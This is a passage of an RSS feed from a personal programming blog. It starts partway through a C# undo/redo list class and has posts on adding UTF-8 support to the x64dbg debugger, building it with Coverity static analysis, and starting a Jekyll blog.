    addUndoAction(new UndoAction&amp;lt;T&amp;gt;(ActionType.Add, value)); //add an entry to the Undo list
}

public void RemoveAt(int index)
{
    addUndoAction(new UndoAction&amp;lt;T&amp;gt;(ActionType.Remove, list[index]));
    list.RemoveAt(index);
}

public void Clear()
{
    foreach (T value in list)
        addUndoAction(new UndoAction&amp;lt;T&amp;gt;(ActionType.Remove, value));
    list.Clear();
}

public T this[int index]
{
    get
    {
        return list[index];
    }
    set
    {
        list[index] = value;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To provide the functionality of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foreach&lt;/code&gt; loop, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UndoList&amp;lt;T&amp;gt;&lt;/code&gt; needs to be a subclass of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.Collections.IEnumerable&lt;/code&gt;. Implementing this interface is really easy for us: we simply return the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enumerator&lt;/code&gt; of the actual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;T&amp;gt;&lt;/code&gt; member which contains the representation of the sketch.&lt;/p&gt;

&lt;p&gt;Implementing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IEnumerable&lt;/code&gt; interface goes like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;public class UndoList&amp;lt;T&amp;gt; : IEnumerable
{
    private List&amp;lt;T&amp;gt; list; //the actual list with data

    public IEnumerator GetEnumerator()
    {
        return list.GetEnumerator();
    }

    //other members
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-pointer-member&quot;&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pointer&lt;/code&gt; member&lt;/h2&gt;

&lt;p&gt;If we were only required to provide an Undo functionality, we could just use a list with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UndoAction&amp;lt;U&amp;gt;&lt;/code&gt; entries. When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Undo()&lt;/code&gt; function is called, undo the action and remove the last entry of the list. For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Redo()&lt;/code&gt; to work, we either need to keep track of the Undo’s we did (which comes down to keeping track of a list that is used to keep track of another list) or we need to use a pointer. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pointer&lt;/code&gt; member of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UndoList&amp;lt;T&amp;gt;&lt;/code&gt; class points to the last action that was added to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;UndoAction&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; list. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Undo()&lt;/code&gt; is called, the action will be undone and after that the pointer is decreased. We can do this until the pointer equals &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-1&lt;/code&gt;, which means there is no action left to undo. After you called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Undo()&lt;/code&gt; a few times and you then call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Redo()&lt;/code&gt;, the pointer will be increased and after that, the action will be applied to the list with data (see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Undo()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Redo()&lt;/code&gt; functions for code).&lt;/p&gt;

&lt;h2 id=&quot;final-words&quot;&gt;Final words&lt;/h2&gt;

&lt;p&gt;This class is a good example of how templates can be used in a meaningful way and I learned quite some things from it. I made the source available under the MIT License, you can get it &lt;a href=&quot;https://gist.github.com/mrexodia/0a12d91b4d4b9b94faa3&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This class has very minimal functionality of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;T&amp;gt;&lt;/code&gt; class. Sorting has no Undo/Redo and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Clear()&lt;/code&gt; makes it look like every element was removed one-by-one. Feel free to improve on this :)&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2014/11/01/UndoList</link>
                <guid>https://mrexodia.github.io/coding/2014/11/01/UndoList</guid>
                <pubDate>2014-11-01T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Utf8</title>
                <description>
&lt;p&gt;Quite some time since I last wrote something. I recently started attending a University, so that took all of my time past weeks :)&lt;/p&gt;

&lt;p&gt;Anyway, during a very easy lecture about programming I decided to actually program something myself, which turned out to be Unicode support for &lt;a href=&quot;http://x64dbg.com&quot;&gt;x64dbg&lt;/a&gt;!&lt;/p&gt;

&lt;h2 id=&quot;theory&quot;&gt;Theory&lt;/h2&gt;

&lt;p&gt;At first I thought I would have to rewrite the command parser and whatnot, but that turned out to be not needed at all…&lt;/p&gt;

&lt;p&gt;At first I wanted to convert every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;char&lt;/code&gt; pointer and constant to the Windows-supported &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wchar_t&lt;/code&gt; type, but this would take far too long to execute + it would break plugin compatibility and the complete internal API, which just sucks. Various &lt;a href=&quot;http://stackoverflow.com/search?q=unicode+utf-8&quot;&gt;discussions&lt;/a&gt; and a &lt;a href=&quot;http://www.nubaria.com/en/blog/?p=289&quot;&gt;blogpost&lt;/a&gt; later I decided to use &lt;a href=&quot;http://utf8everywhere.org&quot;&gt;UTF-8&lt;/a&gt; internally and call WinAPI with conversion functions.&lt;/p&gt;

&lt;p&gt;Basically it required three things:
1) A C++ class like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QString&lt;/code&gt; that allows string operations on UTF-8 string;
2) Conversion functions from UTF-8 to UTF-16 and the other way around;
3) ‘Converting’ all external ASCII calls to their UNICODE variant (WinAPI, TitanEngine, dbghelp, etc).&lt;/p&gt;

&lt;h2 id=&quot;practice&quot;&gt;Practice&lt;/h2&gt;

&lt;p&gt;The first step was quite easy, I grabbed this GPLv3 &lt;a href=&quot;http://grigory.info/UTF8Strings.About.html&quot;&gt;UTF::String&lt;/a&gt; class and changed it to my needs. This became the &lt;a href=&quot;https://bitbucket.org/mrexodia/ustring&quot;&gt;UString&lt;/a&gt; class.&lt;/p&gt;

&lt;p&gt;The second step was also very easy, the &lt;a href=&quot;http://www.nubaria.com/en/blog/?p=289&quot;&gt;blogpost&lt;/a&gt; I mentioned earlier had two ready-to-use functions called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ConvertFromUtf16ToUtf8&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ConvertFromUtf8ToUtf16&lt;/code&gt;. Those worked great, except that they would crash when fed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt; as argument. Wrapping them in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UString&lt;/code&gt; solved that issue without having to think :)&lt;/p&gt;

&lt;p&gt;The third step seemed easy at first, I could debug a random application with a Chinese path &lt;a href=&quot;https://twitter.com/mrexodia/status/510080743251673089&quot;&gt;within minutes&lt;/a&gt;. After that however, came a small moment of confusion, because &lt;a href=&quot;http://qt-project.org&quot;&gt;Qt&lt;/a&gt; appears to be interpreting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;const char*&lt;/code&gt; strings as Latin1 per default. The following code solved this and after that the log etc. were working correctly:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// Set QString codec to UTF-8
QTextCodec::setCodecForLocale(QTextCodec::codecForName(&quot;UTF-8&quot;));
QTextCodec::setCodecForCStrings(QTextCodec::codecForName(&quot;UTF-8&quot;));
QTextCodec::setCodecForTr(QTextCodec::codecForName(&quot;UTF-8&quot;));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now all that is left is the tedious task of snooping through the code looking for incompatible &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetModuleFileNameExA&lt;/code&gt; functions calls and convert them.&lt;/p&gt;

&lt;h2 id=&quot;concerns&quot;&gt;Concerns&lt;/h2&gt;

&lt;p&gt;The main concern will be that plugins will need to support UTF-8 and that new developers for x64dbg will have to adapt their coding a little. For plugin coders there will be conversion functions in the Bridge, but the conversion functions from the blogpost are really easy to copy-paste.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;In overall adding UTF-8 support turned out to be quite easy and the work involved is just tedious, not really hard or very annoying. It can be done in little free time by almost anyone, so feel free to submit pull-requests :)&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2014/09/13/UTF8</link>
                <guid>https://mrexodia.github.io/coding/2014/09/13/UTF8</guid>
                <pubDate>2014-09-13T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Coverity</title>
                <description>
&lt;p&gt;Recently &lt;a href=&quot;http://dustri.org&quot;&gt;jvoisin&lt;/a&gt; contacted me on IRC (#x64dbg on Freenode) about &lt;a href=&quot;https://scan.coverity.com&quot;&gt;Coverity&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Find defects in your Java, C# or C/C++ open source project for free.&lt;/p&gt;

  &lt;p&gt;Test every line of code and potential execution path.&lt;/p&gt;

  &lt;p&gt;The root cause of each quality or security defect is clearly explained, making it easy to fix bugs&lt;/p&gt;

  &lt;p&gt;Integrated with Github and Travis Ci&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The best thing about all of this: It’s free for open source software. Simple register an account and then your open source project and you’re good to go. Before you can see the scan results they have to approve your project though.&lt;/p&gt;

&lt;p&gt;For me the tricky part was building &lt;a href=&quot;http://x64dbg.com&quot;&gt;x64dbg&lt;/a&gt; with the command line. I never did this before and the documentation wasn’t very clear to me. Basically you run the following commands:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;Configure cov-build for MSVC
cov-configure --msvc
&amp;gt;Build into the required databases
cov-build --dir cov-int --instrument [command that builds here]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What was recommended on the internet was creating a script that fully builds your project. This is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;coverity_build.bat&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@echo off

echo Building DBG...
devenv /Rebuild &quot;Release|x64&quot; x64dbg.sln

echo Building GUI...
rmdir /S /Q build
mkdir build
cd build
qmake ..\src\gui\x64dbg.pro CONFIG+=release
jom
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that you have to be in the Visual Studio Command Prompt (+ Qt paths configured) for this to work. Just run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;coverity_setenv&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@echo off
echo Setting Qt in PATH
set PATH=%PATH%;c:\Qt\4.8.6-x64\bin
set PATH=%PATH%;c:\Qt\qtcreator-3.1.1\bin

call %comspec% /k &quot;&quot;C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\vcvarsall.bat&quot;&quot; amd64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will launch a new console, from there run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;coverity.bat&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@echo off
cov-configure --msvc
cov-build --dir cov-int --instrument coverity_build.bat

exit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After a long time (I have 6 cores, it still took me 5-10 minutes to build with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cov-build&lt;/code&gt;), the building is finished and you have to ZIP the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cov-int&lt;/code&gt; directory (not the files inside, the whole directory has to be in the ZIP).&lt;/p&gt;

&lt;p&gt;When zipped, simply submit the build to your Coverity project and start analyzing errors.&lt;/p&gt;

&lt;p&gt;Here is a screenshot of what the Coverity interface looks like:
&lt;img src=&quot;/images/coverity_screenshot.png&quot; alt=&quot;Problems in the GUI&quot; /&gt;&lt;/p&gt;

&lt;p&gt;See you all later,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2014/09/02/Coverity</link>
                <guid>https://mrexodia.github.io/coding/2014/09/02/Coverity</guid>
                <pubDate>2014-09-02T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>A New Blog</title>
                <description>
&lt;p&gt;Hey everyone, this is my first blogpost using Jekyll. My previous blog used WordPress and I never posted anything there. Hopefully it will be different this time :)&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/2014/08/31/a-new-blog</link>
                <guid>https://mrexodia.github.io/2014/08/31/a-new-blog</guid>
                <pubDate>2014-08-31T00:00:00+00:00</pubDate>
        </item>


</channel>
</rss>
